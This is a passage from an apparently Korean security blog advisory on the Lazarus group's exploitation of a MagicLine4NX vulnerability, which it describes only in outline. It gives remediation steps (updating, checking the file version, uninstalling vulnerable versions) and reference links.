- 라자루스 해커그룹의 공격 방식은 다음과 같음

① MagicLine4NX 취약점을 통해 svchost.exe 프로세스에 인젝션

악성 프로그램 다운로드 및 실행

[사진 1] 공격 방식

3. 대응방안

① 최신버전 업데이트 적용

- MagicLine 4.0 1.0.0.27 버전

※ MaginLineNX가 설치되어 있는 경우 삭제 후 재설치

 

② 취약한 버전의 MagicLineNX가 설치된 경우 삭제조치

- 버전 확인 방법

> [내 컴퓨터] – [로컬 디스크(C:\)] – [Program Files(x86)] – [DreamSecurity] – [MagicLine4NX] 경로로 이동
> MagicLine4NX에 마우스 오른쪽 버튼 클릭 – 속성 – 자세히 탭 클릭 – 파일 버전 확인

 

- 프로그램 삭제 방법

> [시작] - [시스템] - [제어판] - [프로그램 및 기능] - MagicLineNX 선택 - [제거] 클릭

> [내 컴퓨터] - [로컬 디스크(C:\)] - [Program Files(x86)] - [DreamSecurity] - [MagicLin4NX] 경로로 이동 - MagicLine4NX_Uninstall.exe 프로그램 실행

 

4. 참고

[1] https://asec.ahnlab.com/ko/50134/
[2] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=27568&pageIndex=1#LINK
[3] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71023
[4] https://www.boannews.com/media/view.asp?idx=115500&kind=1&search=title&find=%BA%CF%C7%D1 \

+ Recent posts